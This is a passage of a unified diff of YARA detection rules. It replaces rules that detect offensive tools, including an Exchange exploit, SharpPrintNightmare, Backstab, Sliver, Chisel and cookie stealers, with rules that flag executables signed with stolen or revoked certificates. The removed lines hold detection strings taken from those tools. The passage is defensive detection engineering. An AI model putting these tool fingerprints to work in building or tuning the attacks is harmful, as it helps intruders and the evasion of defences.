-		$s1 = "get_virtualExecUsage" fullword ascii
-		$s2 = "Command to execute" fullword ascii
-		$s3 = "<guestusername>k__" ascii
-		$s4 = ".VirtualMachineDeviceRuntimeInfoVirtualEthernetCardRuntimeState" ascii
-		$s5 = "datastoreUrl" ascii
-		$s6 = "SharpSphere.vSphere." ascii
-		$s7 = "HelpText+vCenter SDK URL, i.e. https://127.0.0.1/sdk" ascii
-		$s8 = "[x] Execution finished, attempting to retrieve the results" fullword wide
-		$s9 = "C:\\Windows\\System32\\cmd.exe" fullword wide
-		$s10 = "C:\\Users\\Public\\" fullword wide
+		thumbprint = "45d598691e79be3c47e1883d4b0e149c13a76932ea630be429b0cfccf3217bc2"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and 4 of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "StarY Media Inc." and pe.signatures[i].serial=="3b:ca:ed:3e:f6:78:f2:f9:bf:38:d0:9e:14:9b:8d:70")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_TOOL_Exchangeexploit : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_091736D368A5980Ebeb433A0Ecb49Fbb : FILE
 {
 	meta:
-		description = "Hunt for executables potentially embedding Exchange Server exploitation artificats"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "429f738a-009a-5326-92e0-bdc907be96f2"
-		date = "2024-01-23"
-		modified = "2024-01-23"
+		id = "fb9446b5-2d49-51de-bedb-ea541d415ae2"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L785-L798"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L2131-L2142"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "4b0d22a296cab6591d63568aa44845ef7fcc413d45c368a712928411d11a8177"
+		logic_hash = "858a98ba8fd3244b2c0f6d3dd89a294b0187dd1a82cdcca67c162985d80ca6ed"
 		score = 75
-		quality = 69
+		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "ecp/default.flt?" ascii wide nocase
-		$s2 = "owa/auth/logon.aspx?" ascii wide nocase
-		$s3 = "X-AnonResource-Backend" ascii wide
-		$s4 = "EWS/Exchange.asmx?" ascii wide nocase
-		$s5 = "X-BEResource" ascii wide
-		$s6 = "https://%s/owa/auth/" ascii wide
+		thumbprint = "b1c1dc94f0c775deeb46a0a019597c4ac27ab2810e3b3241bdc284d2fccf3eb5"
+		importance = 20
 
 	condition:
-		( uint16(0)==0x5a4d or uint16(0)==0x457f) and 5 of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "ELEKSIR, OOO" and pe.signatures[i].serial=="09:17:36:d3:68:a5:98:0e:be:b4:33:a0:ec:b4:9f:bb")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_TOOL_Goclr : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_00E48Cb3314977D77Dedcd4C77Dd144C50 : FILE
 {
 	meta:
-		description = "Detects binaries utilizing Go-CLR for hosting the CLR in a Go process and using it to execute a DLL from disk or an assembly from memory"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "21766cad-17dd-525a-9ebe-cd90e892cff1"
-		date = "2024-01-23"
-		modified = "2024-01-23"
+		id = "9b708e1b-a878-5244-8fe2-3061f058a9ab"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L800-L814"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L2144-L2155"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "a2a79793b1f530bcf9f79983f29a655f270cf0147606690b19eaeb82d4bd1f0d"
+		logic_hash = "a2ca0ce3812be5e46cb0bc9c73fc4f31294c8d594ca821ad924a3f06cf2430ca"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "github.com/ropnop/go-clr.(*IC" ascii
-		$s2 = "EnumKeyExWRegEnumValueWRegOpenKeyExWRtlCopyMemoryRtlGetVersionShellExecuteWStartServiceW" ascii
-		$c1 = "ICorRuntimeHost" ascii wide
-		$c2 = "CLRCreateInstance" ascii wide
-		$c3 = "ICLRRuntimeInfo" ascii wide
-		$c4 = "ICLRMetaHost" ascii wide
-		$go = "Go build ID:" ascii wide
+		thumbprint = "025bce0f36ec5bac08853966270ed2f5e28765d9c398044462a28c67d74d71e1"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and all of ($s*) or (2 of ($c*) and $go)
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "BESPOKE SOFTWARE SOLUTIONS LIMITED" and pe.signatures[i].serial=="00:e4:8c:b3:31:49:77:d7:7d:ed:cd:4c:77:dd:14:4c:50")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_TOOL_Edgecookiesview : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_1E72A72351Aecf884Df9Cdb77A16Fd84 : FILE
 {
 	meta:
-		description = "Detects EdgeCookiesView"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "42c6eb2e-bf5c-5956-9009-c29551ce715d"
-		date = "2024-01-23"
-		modified = "2024-01-23"
+		id = "7972befe-3a88-5ea5-a865-3d008b712bc9"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L833-L847"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L2157-L2168"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "9ba6d416e02c1958806356c67636609dcca758da9f7e3d1fc15244cc5ff038fc"
+		logic_hash = "6555b89f1643f2e461a936df402dcbe8dd5100a1def76c7c6d8f792d1c0ed006"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "AddRemarkCookiesTXT" fullword wide
-		$s2 = "# Netscape HTTP Cookie File" fullword wide
-		$s3 = "/scookiestxt" fullword wide
-		$s4 = "/deleteregkey" fullword wide
-		$s5 = "Load cookies from:" wide
-		$s6 = "Old cookies folder of Edge/IE" wide
-		$pdb = "\\EdgeCookiesView\\Release\\EdgeCookiesView.pdb" ascii
+		thumbprint = "f945bbea1c2e2dd4ed17f5a98ea7c0f0add6bfc3d07353727b40ce48a7d5e48f"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and (5 of ($s*) or (($pdb) and 2 of ($s*)))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Buket and Co." and pe.signatures[i].serial=="1e:72:a7:23:51:ae:cf:88:4d:f9:cd:b7:7a:16:fd:84")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_TOOL_Sharpnopsexec : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_00B383658885E271129A43D19De40C1Fc6 : FILE
 {
 	meta:
-		description = "Detects SharpNoPSExec"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "10898364-6d77-5127-a16b-5fd3b1c652d5"
-		date = "2024-01-23"
-		modified = "2024-01-23"
+		id = "47389dc4-8092-5e12-91a1-f370c9c507a9"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L849-L864"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L2170-L2181"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "c1d76639e7b6464d302729b48bbcd810216132868035904bb9866e7b31ccfac2"
+		logic_hash = "9312bc8f1005d71393ab63f05bdabff52752ad939dd4311485dc4b56f75eece9"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "|-> Service" wide
-		$s2 = "authenticated as" wide
-		$s3 = "ImpersonateLoggedOnUser failed. Error:{0}" wide
-		$s4 = "uPayload" fullword ascii
-		$s5 = "pcbBytesNeeded" fullword ascii
-		$s6 = "SharpNoPSExec" ascii wide
-		$pdb1 = "SharpNoPSExec\\obj\\Debug\\SharpNoPSExec.pdb" ascii
-		$pdb2 = "SharpNoPSExec\\obj\\Release\\SharpNoPSExec.pdb" ascii
+		thumbprint = "ef234051b4b83086b675ff58aca85678544c14da39dbdf4d4fa9d5f16e654e2f"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and (4 of ($s*) or (1 of ($pdb*) and 1 of ($s*)))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Elekon" and pe.signatures[i].serial=="00:b3:83:65:88:85:e2:71:12:9a:43:d1:9d:e4:0c:1f:c6")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_TOOL_Chromecookiesview : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_00Ca7D54577243934F665Fd1D443855A3D : FILE
 {
 	meta:
-		description = "Detects ChromeCookiesView"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "c1b89468-edf2-59d1-89b3-5822fa19d6ab"
-		date = "2024-01-23"
-		modified = "2024-01-23"
+		id = "8519119d-a37b-5438-a642-48e1d40024b8"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L866-L880"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "81acd0978fc03525e7092ab51c681b61f9de0252066ce871298e2cd96b1d3024"
-		score = 75
-		quality = 75
-		tags = "FILE"
-
-	strings:
-		$s1 = "AddRemarkCookiesTXT" fullword wide
-		$s2 = "Decrypt cookies" wide
-		$s3 = "/scookiestxt" fullword wide
-		$s4 = "/deleteregkey" fullword wide
-		$s5 = "Cookies.txt Format" wide
-		$s6 = "# Netscape HTTP Cookie File" wide
-		$pdb = "\\ChromeCookiesView\\Release\\ChromeCookiesView.pdb" ascii
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L2183-L2194"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "867844464609a043902f07aad3fa568b482259655bc181d992bd409437165790"
+		score = 75
+		quality = 75
+		tags = "FILE"
+		thumbprint = "2ea2c7625c1a42fff63f0b17cfc4fd0c0f76d7eb45a86b18ec9a630d3d8ad913"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and (5 of ($s*) or (($pdb) and 2 of ($s*)))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "FABO SP Z O O" and pe.signatures[i].serial=="00:ca:7d:54:57:72:43:93:4f:66:5f:d1:d4:43:85:5a:3d")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_TOOL_Sliver : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_7709D2Df39E9A4F7Db2F3Cbc29B49743 : FILE
 {
 	meta:
-		description = "Detects Sliver implant cross-platform adversary emulation/red team"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "e0c5404b-8e6b-5c3a-9e37-56012c3802dd"
-		date = "2024-01-23"
-		modified = "2024-01-23"
+		id = "55e8815f-0885-5eb0-bf85-05bbd874a821"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L882-L900"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L2196-L2207"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "4f9442b74c84c7b4a8fcf93de2919d12efe2f41d0b4e8514b43822fba0962af2"
+		logic_hash = "b63fa6e4e92549ae92b9a414390471c49fd50010bb7e10e1db72ff53370a6354"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$x1 = "github.com/bishopfox/sliver/protobuf/sliverpbb." ascii
-		$s1 = ".commonpb.ResponseR" ascii
-		$s2 = ".PortfwdProtocol" ascii
-		$s3 = ".WGTCPForwarder" ascii
-		$s4 = ".WGSocksServerR" ascii
-		$s5 = ".PivotEntryR" ascii
-		$s6 = ".BackdoorReq" ascii
-		$s7 = ".ProcessDumpReq" ascii
-		$s8 = ".InvokeSpawnDllReq" ascii
-		$s9 = ".SpawnDll" ascii
-		$s10 = ".TCPPivotReq" ascii
+		thumbprint = "04349ba0f4d74f46387cee8a13ee72ab875032b4396d6903a6e9e7f047426de8"
+		importance = 20
 
 	condition:
-		( uint16(0)==0x5a4d or uint16(0)==0x457f or uint16(0)==0xfacf) and (1 of ($x*) or 5 of ($s*))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Grina LLC" and pe.signatures[i].serial=="77:09:d2:df:39:e9:a4:f7:db:2f:3c:bc:29:b4:97:43")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_TOOL_Owlproxy : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_186D49Fac34Ce99775B8E7Ffbf50679D : FILE
 {
 	meta:
-		description = "Hunt for OwlProxy"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "86e2144e-c5d3-5bd6-b287-1157066126a3"
-		date = "2024-01-23"
-		modified = "2024-01-23"
+		id = "eeea3085-9fd7-5077-8c13-e0c4438b2e79"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L902-L921"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L2209-L2220"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "fa7dd5eeb9799fd651317ceecbed6c960f16c387dc18723409053e44cd281582"
+		logic_hash = "950b14787e707be843d1443a612c372ceb0c2830de20bce1f62317fa39149e5b"
 		score = 75
-		quality = 50
+		quality = 75
 		tags = "FILE"
-
-	strings:
-		$is1 = "call_new command: " wide
-		$is2 = "call_proxy cmd: " wide
-		$is3 = "download_file: " wide
-		$is4 = "cmdhttp_run" wide
-		$is5 = "sub_proxyhttp_run" wide
-		$is6 = "proxyhttp_run" wide
-		$is7 = "webshell_run" wide
-		$is8 = "/exchangetopicservices/" fullword wide
-		$is9 = "c:\\windows\\system32\\wmipd.dll" fullword wide
-		$iu1 = "%s://+:%d%s" wide
-		$iu2 = "%s://+:%d%spp/" wide
-		$iu3 = "%s://+:%d%spx/" wide
+		thumbprint = "812a80556775d658450362e1b3650872b91deba44fef28f17c9364add5aa398e"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and 6 of ($is*) or ( all of ($iu*) and 2 of ($is*))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Hairis LLC" and pe.signatures[i].serial=="18:6d:49:fa:c3:4c:e9:97:75:b8:e7:ff:bf:50:67:9d")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_TOOL_Backstab : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_0097Df46Acb26B7C81A13Cc467B47688C8 : FILE
 {
 	meta:
-		description = "Detect Backstab tool capable of killing antimalware protected processes by leveraging sysinternals Process Explorer (ProcExp) driver"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "1e514d03-9b78-5e75-9a31-02c0413e23a7"
-		date = "2024-01-23"
-		modified = "2024-01-23"
+		id = "1c281766-abd4-534b-9442-233369e1f55e"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L923-L939"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L2222-L2233"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "d25c3ff4d7c120fdf7c275d11da7a321bcbdb275dcfaa699b5bb4bd66167ec92"
+		logic_hash = "ab4da0ddd001acf9f8d78c4beb28c648f8516088561e3140739b4b41d93b58ef"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "NtLoadDriver: %x" fullword ascii
-		$s2 = "POSIXLY_CORRECT" fullword ascii
-		$s3 = "\\\\.\\PROCEXP" ascii
-		$s4 = "ProcExpOpenProtectedProcess.DeviceIoControl: %" ascii
-		$s5 = "ProcExpKillHandle.DeviceIoControl" ascii
-		$s6 = "[%#llu] [%ws]: %ws" fullword ascii
-		$s7 = "D:P(A;;GA;;;SY)(A;;GRGWGX;;;BA)(A;;GR" wide
-		$s8 = "-k -d c:\\\\driver.sys" ascii
-		$s9 = "backstab.exe -" ascii
+		thumbprint = "54c4929195fafddfd333871471a015fa68092f44e2f262f2bbf4ee980b41b809"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and 6 of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Information Civilized System Oy" and pe.signatures[i].serial=="00:97:df:46:ac:b2:6b:7c:81:a1:3c:c4:67:b4:76:88:c8")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_TOOL_EXP_Sharpprintnightmare : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_2A52Acb34Bd075Ac9F58771D2A4Bbfba : FILE
 {
 	meta:
-		description = "Detect SharpPrintNightmare"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "15f52fce-27cc-52e7-91d5-7e2f6db5b596"
-		date = "2024-01-23"
-		modified = "2024-01-23"
+		id = "2d6b6ff5-e081-5e91-b03f-6e0d02afdb8f"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L941-L961"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L2235-L2246"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "22c890a22ce6b7c1a06068018364f7c5a2afe1bee5b5bc6a8bae3703a11fac26"
+		logic_hash = "9ffad34a94e9210bb98021c0ee0ddba4144406cca976537efe24e63367a295cd"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "RevertToSelf() Error:" wide
-		$s2 = "NeverGonnaGiveYou" wide
-		$s3 = "\\Amd64\\UNIDRV.DLL" wide
-		$s4 = ":\\Windows\\System32\\DriverStore\\FileRepository\\" wide
-		$s5 = "C:\\Windows\\System32\\spool\\drivers\\x64\\3\\old\\{0}\\{1}" wide
-		$s6 = "\\SharpPrintNightmare\\" ascii
-		$s7 = { 4e 61 6d 65 09 46 75 6c 6c 54 72 75 73 74 01 }
-		$s8 = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Print\\PackageInstallation\\Windows x64\\DriverPackages" wide
-		$s9 = "ntprint.inf_amd64" wide
-		$s10 = "AddPrinterDriverEx" wide
-		$s11 = "addPrinter" ascii
-		$s12 = "DRIVER_INFO_2" ascii
-		$s13 = "APD_COPY_" ascii
+		thumbprint = "c839065a159bec7e63bfdcb1794889829853c07f7a931666f4eb84103302c1c9"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and 7 of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Katarzyna Galganek mim e coc" and pe.signatures[i].serial=="2a:52:ac:b3:4b:d0:75:ac:9f:58:77:1d:2a:4b:bf:ba")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_TOOL_REC_Adfind : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_5A9D897077A22Afe7Ad4C4A01Df6C418 : FILE
 {
 	meta:
-		description = "Detect ADFind"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "2f0d02a1-7488-5645-aa08-1eadee2862e8"
-		date = "2024-01-23"
-		modified = "2024-01-23"
+		id = "e44fcc54-9d0c-5b9b-a34a-03f31ae5333d"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L963-L974"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L2248-L2259"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "41fb9f72032f76adc6f1fccd25a1364f153eb2430063e9d582f3dcd9fc9ac84a"
+		logic_hash = "f82b59f5d1996ae37b0cb7f7a799e2fcc7d9da0ffddfe63cbbb84b6f0e7e7b23"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "\\AdFind\\AdFind\\AdFind.h" ascii
-		$s2 = "\\AdFind\\AdFind\\AdFind.cpp" ascii
-		$s3 = "\\AdFind\\Release\\AdFind.pdb" ascii
-		$s4 = "joeware_default_adfind.cf" ascii
+		thumbprint = "50fa9d22557354a078767cb61f93de9abe491e3a8cb69c280796c7c20eabd5b9"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and 2 of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Klarens LLC" and pe.signatures[i].serial=="5a:9d:89:70:77:a2:2a:fe:7a:d4:c4:a0:1d:f6:c4:18")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_TOOL_CNC_Chisel : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_00D7C432E8D4Edef515Bfb9D1C214Ff0F5 : FILE
 {
 	meta:
-		description = "Detect binaries using Chisel"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "d126f2c8-655f-564f-ae46-f6bd6385dcac"
-		date = "2024-01-23"
-		modified = "2024-01-23"
+		id = "fc3fd388-91f6-5f53-a284-4ef0a7d22290"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L976-L990"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L2261-L2272"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "08c7b2c4725431c1bf85ae8068f4250c98e58890e3b4c97aa9e419e4f487cada"
+		logic_hash = "9ef64774a0b6b11820321cd36d49213ad245cea82960aab99bb18e44a2ee79a8"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "chisel-v" ascii
-		$s2 = "sendchisel-v" ascii
-		$s3 = "<-chiselclosedcookiedomainefenceempty" ascii
-		$ws1 = "Sec-WebSocket-Key" ascii
-		$ws2 = "Sec-WebSocket-Protocol" ascii
-		$ws3 = "Sec-Websocket-Version" ascii
-		$ws4 = "Sec-Websocket-Extensions" ascii
+		thumbprint = "6256d3ca79330f7bd912a88e59f9a4f3bdebdcd6b9c55cda4e733e26583b3d61"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and (1 of ($s*) and 3 of ($ws*))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "LLC \"MILKY PUT\"" and pe.signatures[i].serial=="00:d7:c4:32:e8:d4:ed:ef:51:5b:fb:9d:1c:21:4f:f0:f5")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_TOOL_ANT_Sharpedrchecker : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_0085E1Af2Be0F380E5A5D11513Ddf45Fc6 : FILE
 {
 	meta:
-		description = "Detect SharpEDRChecke, C# Implementation of Invoke-EDRChecker"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "c0b41787-b8b4-5aa7-b1f0-0a89dbebe45e"
-		date = "2024-01-23"
-		modified = "2024-01-23"
+		id = "d55fd5ca-0e20-51de-84b6-f30dd2660529"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L992-L1023"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L2274-L2285"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "77a26ff5298dddebc669d9b6c39905a48a86884cf98adebdf935b94c62d36ddc"
+		logic_hash = "5a86b9aecf7697bd8e1f40407934c6a9941714404a931b0f1bed4ae7440f6921"
 		score = 75
-		quality = 48
+		quality = 75
 		tags = "FILE"
-
-	strings:
-		$pdb1 = "\\SharpEDRChecker.pdb" fullword ascii
-		$x1 = "EDRData" fullword ascii
-		$x2 = "bytesNeeded" fullword ascii
-		$x3 = /\] Checking (Directories|drivers|processes|modules|Registry|Services) \[/ wide
-		$s1 = "CheckService" fullword ascii
-		$s2 = "CheckModule" fullword ascii
-		$s3 = "PrivCheck" fullword ascii
-		$s4 = "ServiceChecker" fullword ascii
-		$s5 = "PrivilegeChecker" fullword ascii
-		$s6 = "FileChecker" fullword ascii
-		$s7 = "DriverChecker" fullword ascii
-		$s8 = "ProcessChecker" fullword ascii
-		$s9 = "DirectoryChecker" fullword ascii
-		$s10 = "RegistryChecker" fullword ascii
-		$s11 = "CheckDriver" fullword ascii
-		$s12 = "CheckServices" fullword ascii
-		$s13 = "CheckDirectories" fullword ascii
-		$s14 = "CheckCurrentProcessModules" fullword ascii
-		$s15 = "CheckProcesses" fullword ascii
-		$s16 = "CheckDrivers" fullword ascii
-		$s17 = "CheckProcess" fullword ascii
-		$s18 = "CheckSubDirectory" fullword ascii
-		$s19 = "CheckDirectory" fullword ascii
-		$s20 = "CheckRegistry" fullword ascii
+		thumbprint = "e9849101535b47ff2a67e4897113c06f024d33f575baa5b426352f15116b98b4"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and ( all of ($x*) or 10 of ($s*) or (1 of ($pdb*) and (1 of ($x*) or 2 of ($s*))) or (#x3>4 and 2 of them ))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Makke Digital Works" and pe.signatures[i].serial=="00:85:e1:af:2b:e0:f3:80:e5:a5:d1:15:13:dd:f4:5f:c6")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_TOOL_ANT_Invizzzible : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_02Aa497D39320Fc979Ad96160D90D410 : FILE
 {
 	meta:
-		description = "Detect InviZzzible"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "23533d1c-e0d8-51c8-ac18-60c845bff197"
-		date = "2024-01-23"
-		modified = "2024-01-23"
+		id = "9387010e-94f5-5787-b30f-609d98c48ddf"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L1025-L1059"
